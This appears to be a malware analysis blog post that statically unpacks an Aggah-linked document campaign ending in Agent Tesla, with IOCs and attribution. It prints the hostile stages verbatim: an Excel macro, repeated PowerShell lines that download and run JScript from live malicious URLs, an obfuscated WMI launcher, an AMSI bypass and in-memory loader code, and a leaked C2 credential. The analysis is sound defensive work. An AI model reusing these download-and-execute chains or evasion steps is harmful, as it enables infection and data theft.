(Ab)using bash-fu to analyze recent Aggah sample
Intro
Recently one of my generic signatures for malformed documents was hit, this type of malformation was used mostly by Zebrocy so i was curious whats cooking. After some analysis it turns out that last stage uses tools that are publicly attributed to Aggah, but to get that we need to tear through multiple layers of downloading scripts. We probably could just run our lure document and collect dropped binaries in a sandbox but where is fun of that? Let’s do some work and abuse bash in order to obtain next stages!
Lure document
File that cought my attention is 47625e693220465ced292aefd7c61fffc77dedd01618432da177a3b89525be9b
uploaded with a name Updated Pre-Contract.docx from Honk Kong. File is broken its missing one byte and libreoffice refuses to open it, but we can easly fix that!
(cat /tmp/b93291c5560551ffd4e7f1545c07f403.bin ; printf "\x00" ) > fix.doc
and we are presented with very blurred jpg embedded in document
we can also skip fixing phase and use 7zip to unpack content of the file, but we need screenshot of a doc right? ;]
Anyhow looking into file with 7zip is always a good idea which may give a clue what to look for
Path = /tmp/b93291c5560551ffd4e7f1545c07f403.bin
Type = zip
ERRORS:
Unexpected end of archive
Physical Size = 39441
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
1980-01-01 00:00:00 ..... 2017 414 [Content_Types].xml
1980-01-01 00:00:00 ..... 737 254 _rels/.rels
1980-01-01 00:00:00 ..... 3781 1146 word/document.xml
1980-01-01 00:00:00 ..... 1509 315 word/_rels/document.xml.rels
1980-01-01 00:00:00 ..... 8814 8814 word/media/image1.jpg
1980-01-01 00:00:00 ..... 6795 1571 word/theme/theme1.xml
1980-01-01 00:00:00 ..... 2938 1065 word/settings.xml
1980-01-01 00:00:00 ..... 213 151 customXml/item1.xml
1980-01-01 00:00:00 ..... 335 243 customXml/itemProps1.xml
1980-01-01 00:00:00 ..... 58402 7000 customXml/item2.xml
1980-01-01 00:00:00 ..... 1088 410 customXml/itemProps2.xml
1980-01-01 00:00:00 ..... 9799 1724 customXml/item3.xml
1980-01-01 00:00:00 ..... 486 292 customXml/itemProps3.xml
1980-01-01 00:00:00 ..... 31158 2054 word/numbering.xml
1980-01-01 00:00:00 ..... 55478 5110 word/styles.xml
1980-01-01 00:00:00 ..... 655 295 word/webSettings.xml
1980-01-01 00:00:00 ..... 2480 584 word/fontTable.xml
1980-01-01 00:00:00 ..... 746 373 docProps/core.xml
1980-01-01 00:00:00 ..... 997 476 docProps/app.xml
1980-01-01 00:00:00 ..... 1036 362 docProps/custom.xml
1980-01-01 00:00:00 ..... 296 194 customXml/_rels/item1.xml.rels
1980-01-01 00:00:00 ..... 296 194 customXml/_rels/item2.xml.rels
1980-01-01 00:00:00 ..... 296 195 customXml/_rels/item3.xml.rels
2020-02-23 22:41:26 ..... 369 224 word/_rels/settings.xml.rels
------------------- ----- ------------ ------------ ------------------------
2020-02-23 22:41:26 190721 33460 24 files
What stands out immediately is a date of word/_rels/settings.xml.rels so this doc is most likely abusing Ole2Link property to load remote content,
$ extrOle2Link.py /tmp/b93291c5560551ffd4e7f1545c07f403.bin
[!] broken zip - missing 1 bytes
[+] HTTP-Ole2Link in http://office-archives.duckdns.org/cloud/clearance.rtf?raw=true in file word/_rels/settings.xml.rels
And indeed it does. You can find this simple script here
RTF - clearance.rtf
We got a next stage 17a8d46df8cdf7db3f9996a25dce7c78abb0cef0d7d55d94d39caf880801466b
. Lets look inside!
id |index |OLE Object
---+----------+---------------------------------------------------------------
0 |00002CADh |format_id: 2 (Embedded)
| |class name: 'Excel.Sheet.8'
| |data size: 39936
| |MD5 = 'bf1d62dff81856a2784046b4d3eeab67'
| |CLSID: 00020820-0000-0000-C000-000000000046
| |Microsoft Microsoft Excel 97-2003 Worksheet (Excel.Sheet.8)
(...)
---+----------+---------------------------------------------------------------
9 |000F73F1h |format_id: 2 (Embedded)
| |class name: 'Excel.Sheet.8'
| |data size: 39936
| |MD5 = 'bb74ebb70450688af0c862b46c427eec'
| |CLSID: 00020820-0000-0000-C000-000000000046
| |Microsoft Microsoft Excel 97-2003 Worksheet (Excel.Sheet.8)
---+----------+---------------------------------------------------------------
Ugh a lot, but all of them contain the same macro,
Private Sub Workbook_BeforeClose(Cancel As Boolean)
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
Worksheets(1).Activate
A = Range("C3").Comment.Text
cv = StrReverse(Range("C4").Comment.Text)
Call CC0(A, cv)
End Sub
Function CC0(Str, cv)
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
Set BMMMEWEUUERTRT = CreateObject(cv)
BMMMEWEUUERTRT.Exec (StrReverse(Str))
End Function
Here we should propably turn into python library that can view or manipulate xml files such as xlrd but this time we are lucky, applying strings(1)
on ole files quickly yields an powershell code
llehS.tpircSW<
)0,""")'sj.duolc\'+ 'ATADPPA:vne$'(ssecorp-trats ;XEI|')''sj.duolc\''+''ATADPPA:vne$'',''sj.nitup/ADN/rg.wercsutats.www//:ptth''(e'+'liF'+'dao'+'ln'+'woD.'+')tne'+'ilC'+'beW'+'.t'+'eN' +')*O'+'-W* '+'M'+'C'+'G('+'&(' llehsrewoP"""(nuR.t$;llehs.tpircsW moC- tcejbO-weN =t$ llehsrewop nim/ trats c/ dmc<
Windows UserT
after reversing string, we got proper code,
<cmd /c start /min powershell $t= New-Object -Com Wscript.shell;$t.Run("""Powershell '(&'+'(G'+'C'+'M'+' *W-'+'O*)'+ 'Ne'+'t.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''http://www.statuscrew.gr/NDA/putin.js'',''$env:APPDATA''+''\cloud.js'')'|IEX; start-process('$env:APPDATA' +'\cloud.js')""",0)
All of the OLE files have the same ps payload but we should verify that!
<cmd /c start /min powershell $t= New-Object -Com Wscript.shell;$t.Run("""Powershell '(&'+'(G'+'C'+'M'+' *W-'+'O*)'+ 'Ne'+'t.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''http://www.statuscrew.gr/NDA/putin.js'',''$env:APPDATA''+''\cloud.js'')'|IEX; start-process('$env:APPDATA' +'\cloud.js')""",0)
<cmd /c start /min powershell $t= New-Object -Com Wscript.shell;$t.Run("""Powershell '(&'+'(G'+'C'+'M'+' *W-'+'O*)'+ 'Ne'+'t.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''http://www.statuscrew.gr/NDA/putin.js'',''$env:APPDATA''+''\cloud.js'')'|IEX; start-process('$env:APPDATA' +'\cloud.js')""",0)
<cmd /c start /min powershell $t= New-Object -Com Wscript.shell;$t.Run("""Powershell '(&'+'(G'+'C'+'M'+' *W-'+'O*)'+ 'Ne'+'t.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''http://www.statuscrew.gr/NDA/putin.js'',''$env:APPDATA''+''\cloud.js'')'|IEX; start-process('$env:APPDATA' +'\cloud.js')""",0)
<cmd /c start /min powershell $t= New-Object -Com Wscript.shell;$t.Run("""Powershell '(&'+'(G'+'C'+'M'+' *W-'+'O*)'+ 'Ne'+'t.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''http://www.statuscrew.gr/NDA/putin.js'',''$env:APPDATA''+''\cloud.js'')'|IEX; start-process('$env:APPDATA' +'\cloud.js')""",0)
<cmd /c start /min powershell $t= New-Object -Com Wscript.shell;$t.Run("""Powershell '(&'+'(G'+'C'+'M'+' *W-'+'O*)'+ 'Ne'+'t.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''http://www.statuscrew.gr/NDA/putin.js'',''$env:APPDATA''+''\cloud.js'')'|IEX; start-process('$env:APPDATA' +'\cloud.js')""",0)
<cmd /c start /min powershell $t= New-Object -Com Wscript.shell;$t.Run("""Powershell '(&'+'(G'+'C'+'M'+' *W-'+'O*)'+ 'Ne'+'t.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''http://www.statuscrew.gr/NDA/putin.js'',''$env:APPDATA''+''\cloud.js'')'|IEX; start-process('$env:APPDATA' +'\cloud.js')""",0)
<cmd /c start /min powershell $t= New-Object -Com Wscript.shell;$t.Run("""Powershell '(&'+'(G'+'C'+'M'+' *W-'+'O*)'+ 'Ne'+'t.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''http://www.statuscrew.gr/NDA/putin.js'',''$env:APPDATA''+''\cloud.js'')'|IEX; start-process('$env:APPDATA' +'\cloud.js')""",0)
<cmd /c start /min powershell $t= New-Object -Com Wscript.shell;$t.Run("""Powershell '(&'+'(G'+'C'+'M'+' *W-'+'O*)'+ 'Ne'+'t.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''http://www.statuscrew.gr/NDA/putin.js'',''$env:APPDATA''+''\cloud.js'')'|IEX; start-process('$env:APPDATA' +'\cloud.js')""",0)
<cmd /c start /min powershell $t= New-Object -Com Wscript.shell;$t.Run("""Powershell '(&'+'(G'+'C'+'M'+' *W-'+'O*)'+ 'Ne'+'t.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''http://www.statuscrew.gr/NDA/putin.js'',''$env:APPDATA''+''\cloud.js'')'|IEX; start-process('$env:APPDATA' +'\cloud.js')""",0)
<cmd /c start /min powershell $t= New-Object -Com Wscript.shell;$t.Run("""Powershell '(&'+'(G'+'C'+'M'+' *W-'+'O*)'+ 'Ne'+'t.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''http://www.statuscrew.gr/NDA/putin.js'',''$env:APPDATA''+''\cloud.js'')'|IEX; start-process('$env:APPDATA' +'\cloud.js')""",0)
JScript - Putin.js
Next stage (854a0a9603b288cdf01fdcd0cc7feffb8393d35a80fca6ad981575cbe207aee4
) is a JScript, lets take a look.
f="K|'' nioj- u4ju435h43u3huhufdhnj$]][rahc[;)77,421,93,93,23,0mossad,501,mossad1,601,54,23,5mossad,4mossad,79,401,76,501,501,99,5mossad,79,63,23,16,301,0mossad,501,4mossad,6mossad,38,501,501,99,5mossad,79,63,95,521,43,59,63,021,84,43,39,101,6mossad,121,89,19,39,4mossad,79,401,99,19,321,23,6mossad,99,101,601,89,97,54,401,99,79,96,4mossad,mossad1,07,421,23,93,54,93,23,6mossad,501,801,2mossad,5mossad,54,23,121,6mossad,63,23,16,5mossad,4mossad,79,401,76,501,501,99,5mossad,79,63,95,6mossad,021,101,48,101,5mossad,0mossad,mossad1,2mossad,5mossad,101,4mossad,64,6mossad,63,16,121,6mossad,63,95,14,04,001,0mossad,101,5mossad,64,6mossad,63,95,14,101,5mossad,801,79,201,63,44,93,301,2mossad,601,64,6mossad,99,79,201,74,101,99,501,201,201,mossad1,74,4mossad,201,64,5mossad,101,501,99,mossad1,5mossad,5mossad,79,4mossad,101,501,8mossad,0mossad,79,601,74,74,85,2mossad,6mossad,6mossad,401,93,44,93,48,96,17,93,04,0mossad,101,2mossad,mossad1,64,6mossad,63,95,08,48,48,27,67,77,88,64,6mossad,201,mossad1,5mossad,mossad1,4mossad,99,501,77,23,901,mossad1,76,54,23,6mossad,99,101,601,89,97,54,9mossad,101,87,23,16,6mossad,63,95,05,05,2mossad,"
f=f+"63,23,16,23,801,mossad1,99,mossad1,6mossad,mossad1,4mossad,08,121,6mossad,501,4mossad,7mossad,99,101,38,85,85,39,4mossad,101,301,79,0mossad,79,77,6mossad,0mossad,501,mossad1,08,101,99,501,8mossad,4mossad,101,38,64,6mossad,101,87,64,901,101,6mossad,5mossad,121,38,19,95,14,05,55,84,15,23,44,39,101,2mossad,121,48,801,mossad1,99,mossad1,6mossad,mossad1,4mossad,08,121,6mossad,501,4mossad,7mossad,99,101,38,64,6mossad,101,87,64,901,101,6mossad,5mossad,121,38,19,04,6mossad,99,101,601,89,97,mossad1,48,85,85,39,901,7mossad,0mossad,96,19,23,16,23,05,05,2mossad,63,95,14,301,0mossad,501,2mossad,63,04,23,801,501,6mossad,0mossad,7mossad,23,521,6mossad,101,501,7mossad,18,54,23,94,23,6mossad,0mossad,7mossad,mossad1,99,54,23,901,mossad1,99,64,101,801,301,mossad1,mossad1,301,23,2mossad,901,mossad1,99,54,23,0mossad,mossad1,501,6mossad,99,101,0mossad,0mossad,mossad1,99,54,6mossad,5mossad,101,6mossad,23,16,23,301,0mossad,501,2mossad,63,321,23,mossad1,001,95,101,0mossad,mossad1,89,48,63,23,77,23,801,79,5mossad,95,14,93,37,93,44,93,24,93,04,101,99,79,801,2mossad,101,4mossad,64,93,88,96,24,93,16,101,0mossad,mossad1,89,48,63(@=u4ju435h43u3huhufdhnj$;)'' nioj- 'X','E',)'I','#'(ecalper.'#'( K las"
AT("Powershell " + REVERSE(replaceAll(f)))
var CurrentDirectory =WScript.ScriptFullName
AT("Powershell " +"Remove-Item '" + CurrentDirectory+"'")
function AT(strCommand){
var strComputer = ".";
var strCommand = strCommand;
var objWMIService = GetObject("winmgmts:\\\\" + strComputer +
"\\root\\CIMV2");
var objProcess = objWMIService.Get("Win32_Process");
var objInParam =
objProcess.Methods_("Create").inParameters.SpawnInstance_();
var objStartup =
objWMIService.Get("Win32_ProcessStartup").SpawnInstance_();
objStartup.ShowWindow = 0;
objInParam.CommandLine = strCommand;
objInParam.ProcessStartupInformation = objStartup;
var objOutParams = objWMIService.ExecMethod( "Win32_Process",
"Create", objInParam );
}
function replaceAll(str) {
return str.split("mossad").join("11");
This script will fire encoded powershell and clean all files dropped after it execution. Using WMI instead ordinarily spawning a cmd.exe is a nice addition. Whats inside encoded blob?
$ cat putin.js | grep 'f=' | cut -d'"' -f2 | tr -d "\n" | sed -e's/mossad/11/g'|rev |cut -d';' -f2|cut -d'(' -f2 | tr -d ")" | tr , "\n" | while read a; do printf \\$(printf '%03o' $a); $a; done
$Tbone='*EX'.replace('*','I');sal M $Tbone;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $p22;$t= New-Object -Com Microsoft.XMLHTTP;$t.open('GET','http://janvierassocies.fr/office/fact.jpg',$false);$t.send();$ty=$t.responseText;$asciiChars= $ty -split '-' |ForEach-Object {[char][byte]"0x$_"};$asciiString= $asciiChars -join ''|M
Well another downloader.
Powershell - fact.jpg
fact.jpg (59012e676ed866ba013b1d950d1ef0558d7ea09e0a764ff65ee5b43663e918ea
) is just a text file with hex encoded powershell separated by dashes
00000000: 3636 2d37 352d 3645 2d36 332d 3734 2d36 66-75-6E-63-74-6
00000010: 392d 3646 2d36 452d 3230 2d35 352d 3445 9-6F-6E-20-55-4E
00000020: 2d37 302d 3631 2d34 332d 3330 2d36 422d -70-61-43-30-6B-
00000030: 3333 2d33 332d 3333 2d33 332d 3333 2d33 33-33-33-33-33-3
00000040: 302d 3330 2d33 302d 3330 2d33 312d 3331 0-30-30-30-31-31
00000050: 2d33 342d 3337 2d33 352d 3335 2d33 352d -34-37-35-35-35-
00000060: 3230 2d37 422d 3044 2d30 412d 3044 2d30 20-7B-0D-0A-0D-0
00000070: 412d 3039 2d35 422d 3433 2d36 442d 3634 A-09-5B-43-6D-64
00000080: 2d36 432d 3635 2d37 342d 3432 2d36 392d -6C-65-74-42-69-
00000090: 3645 2d36 342d 3639 2d36 452d 3637 2d32 6E-64-69-6E-67-2
lets decode it.
$ cat fact.jpg | tr "-" "\n" | while read n ; do chr $((16#$n)); done > x.ps1
Here we need to cheat a little and abandon bash as its very slow to decode this big file (4.7MB) byte-by-byte. So we turn to python for help
cat fact.jpg | python2 -c 'import sys; print "".join(map(lambda x: chr(int(x,16)),sys.stdin.read().split("-")))' > x.ps1
here is cleared code of the script
function UNpaC0k3333300001147555 {
[CmdletBinding()]
Param ([byte[]] $byteArray)
Process {
Write-Verbose "Get-DecompressedByteArray"
$input = New-Object System.IO.MemoryStream( , $byteArray )
$output = New-Object System.IO.MemoryStream
$01774000 = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)
$puffpass = New-Object byte[](1024)
while($true){
$read = $01774000.Read($puffpass, 0, 1024)
if ($read -le 0){break}
$output.Write($puffpass, 0, $read)
}
[byte[]] $bout333 = $output.ToArray()
Write-Output $bout333
}
}
$t0='DEX'.replace('D','I');sal g $t0;[Byte[]]$MNB=('@!1F,@!8B,@!08,@!00,@!00...').replace('@!','0x'))| g;
[Byte[]]$blindB=('@!1F,@!8B,@!08...').replace('@!','0x'))| g
[byte[]]$deblindB = UNpaC0k3333300001147555 $blindB
$blind=[System.Reflection.Assembly]::Load($deblindB)
[Amsi]::Bypass()
[byte[]]$decompressedByteArray = UNpaC0k3333300001147555 $MNB
[Byte[]]$MNB2=('@!4D,@!5A...').replace('@!','0x'))| g
$t=[System.Reflection.Assembly]::Load($decompressedByteArray)
[rOnAlDo]::ChRiS('InstallUtil.exe',$MNB2)
This script will load into memory 3 binaries, two of them compressed one not, based on a script we can assume that the last one is the final payload and others are used for loading. Lets extract them.
cat x.ps1 | grep 'blind' | head -n1 | cut -d "'" -f2 | sed -e 's/@!//g' | python2 -c 'import sys;sys.stdout.write("".join(map(lambda x: chr(int(x,16)),sys.stdin.read().split(","))))' |zcat - > amsi.bin
cat x.ps1 | grep 'MNB' | head -n1 | cut -d "'" -f2 | sed -e 's/@!//g' | python2 -c 'import sys;sys.stdout.write("".join(map(lambda x: chr(int(x,16)),sys.stdin.read().split(","))))' |zcat - > loader.bin
cat x.ps1 | grep 'MNB2' | head -n1 | cut -d "'" -f2 | sed -e 's/@!//g' | python2 -c 'import sys;sys.stdout.write("".join(map(lambda x: chr(int(x,16)),sys.stdin.read().split(","))))' > payload.bin
EndGame
Name | Hash | Type | Comment |
---|---|---|---|
amsi.bin | e4d14ba73670184066a00cf5d3361580f6c4fbc5d0862a90278d82e95426faa5 | PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows | Packed with ConfuserEx v1.0.0 |
loader.bin | 8ed29945294e0ba0ae9d5c94c3871dfb00eb9c32b2c7a7704005b31642977a02 | PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows | Packed with Unknown Obfuscator |
payload.bin | 4cd35bcc7793a04daa0c20774ff2a60c3f1ae693964011cb34d13544dda8b500 | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows | Packed with ConfuserEx |
While dealing with .NET malware dnSpy is your best friend, and while it doesn’t have a flashy gui when used under Linux systems we can still use it to quickly asses whats going on using its console version and mono. After decompilation and looking into <Module>.cs
file we can see a control flow obfuscation known as CFG flattening typical to ConfuserEX so lets remove it using modifed de4dot. Much better, but still nothing obvious to determine family and C2 address. At the top of the now cleared <Module>.cs
we can see a decryption function
internal static string smethod_0(int int_0)
{
object[] array = <Module>.object_0;
if (Assembly.GetExecutingAssembly() == Assembly.GetCallingAssembly())
{
byte[] array2 = new byte[32];
byte[] array3 = new byte[16];
int num = int_0 >> 2;
num = num - 8 + 673 - 34893;
num = (num ^ 673 ^ 4398);
num -= 831;
num = (num - 673) / 8;
uint[] array4 = (uint[])array[num];
byte[] array5 = new byte[array4.Length * 4];
Buffer.BlockCopy(array4, 0, array5, 0, array4.Length * 4);
byte[] array6 = array5;
int num2 = array6.Length - 48;
byte[] array7 = new byte[num2];
Buffer.BlockCopy(array6, 0, array2, 0, 32);
Buffer.BlockCopy(array6, 32, array3, 0, 16);
Buffer.BlockCopy(array6, 48, array7, 0, num2);
return Encoding.UTF8.GetString(<Module>.smethod_1(array7, array2, array3));
}
return "";
}
// Token: 0x06000003 RID: 3 RVA: 0x00011150 File Offset: 0x0000F350
internal static byte[] smethod_1(byte[] byte_0, byte[] byte_1, byte[] byte_2)
{
Rijndael rijndael = Rijndael.Create();
rijndael.Key = byte_1;
rijndael.IV = byte_2;
return rijndael.CreateDecryptor().TransformFinalBlock(byte_0, 0, byte_0.Length);
}
and a huge blob of ints shortly after, lets make an educated guess and try to decode this blob.
cat JKHLDqkYnadvWavArpqrFZCbXEpmNqbrFOBfl/\<Module\>.cs | grep -Pzo "new uint\[\]\n\s+{[^}]+}"| sed -e 's#.new uint..##' | tr -d '}' | tr -d u | sed -e 's/\s*//' | tr "\n" " " | sed -e "s/{/\n/g"|tr -d " " | xargs -I{} python2 -c 'import sys,struct; from mlib.crypto import aes;unpad = lambda s: s[:-ord(s[len(s) - 1:])];e="".join(map(lambda x: struct.pack("I",int(x)),sys.argv[1].split(",")));x=aes.decrypt(e[48:],e[:32],"cbc",None,e[32:48]);print unpad(x)' "{}" > payload.bin_strings
You can find those strings here. In those strings we can find bunch of hints from which software this malware steales data from but mosty we can find informations about C&C server.
...
ftp://ftp.metris3d.hu/
[email protected]
Team2318@
...
further examination of strings and code reveal its Agent Tesla.
Attribution
At that point i had no idea what I’m actually look at, so i start pivoting - Agent Tesla with confuser is way to generic but loader with a unknown packer can be something unique. If you look closely into Guwav/Properties/AssemblyInfo.cs
you can find very strange definition
[assembly: AssemblyTrademark("kernel32||CreateProcessA||GetThreadContext||Wow64GetThreadContext||SetThreadContext||Wow64SetThreadContext||ReadProcessMemory||WriteProcessMemory||ZwUnmapViewOfSection||ntdll||VirtualAllocEx||ResumeThread")]
this sounds like a great pivot!
Indeed it is, soon after querying for metadata:"kernel32||CreateProcessA||GetThreadContext||Wow64GetThreadContext||SetThreadContext||Wow64SetThreadContext||ReadProcessMemory||WriteProcessMemory||ZwUnmapViewOfSection||ntdll||VirtualAllocEx||ResumeThread"
on VT we will find this
While this is hardly any proof, its a hint for a direction. After examine the files from VT and the one described in Yoroi’s blog post and comparing to my loader i reached a conclusion that it is indeed the same one. However this loader can still be used by other parties, but while this campaign is quite different that the one previously described one can find some similarities such ash
- use of off the shelf .NET RAT
- heavy use of StrReverse in early stages
- Mixture of VBS, Powershell and JScript
- Way of encoding payload in later stages
- Consistent way of using ConfuserEX
With all that in mind i would say with medium confidence that this is another campaign from Aggah stable
Conclusion
When dealing with a many script based droppers using bash tools such as grep, send and awk can be a tremendous help, and since most of those encodings are used in in one or two campaigns there is no real need to create tons of throw-away scripts. This static method of analysis is obviously more tedious and time consuming than throwing things into sandbox and just read the results it may reveal artifacts that would be missed in automated analysis. Artifacts such as childish use of putin and mossad keywords. Another curious thing that we would probably missed is password for ftp account, same password was mentioned in a PAN’s Unit42 blog post few years back, this password is unique enough to give a clue of possible history of the group or operator.
Analysis Artifacts - Hashes, domains, urls, etc
URL:
http://office-archives.duckdns.org/cloud/clearance.rtf
http://www.statuscrew.gr/NDA/putin.js
http://janvierassocies.fr/office/fact.jpg
ftp:///ftp.metris3d.hu/
HASHES:
47625e693220465ced292aefd7c61fffc77dedd01618432da177a3b89525be9b
17a8d46df8cdf7db3f9996a25dce7c78abb0cef0d7d55d94d39caf880801466b
854a0a9603b288cdf01fdcd0cc7feffb8393d35a80fca6ad981575cbe207aee4
59012e676ed866ba013b1d950d1ef0558d7ea09e0a764ff65ee5b43663e918ea
e4d14ba73670184066a00cf5d3361580f6c4fbc5d0862a90278d82e95426faa5
8ed29945294e0ba0ae9d5c94c3871dfb00eb9c32b2c7a7704005b31642977a02
4cd35bcc7793a04daa0c20774ff2a60c3f1ae693964011cb34d13544dda8b500
FILE NAMES:
Updated Pre-Contract.docx
InstallUtil.exe
cloud.js
clearance.rtf
C2 LOGIN:
[email protected]
Team2318@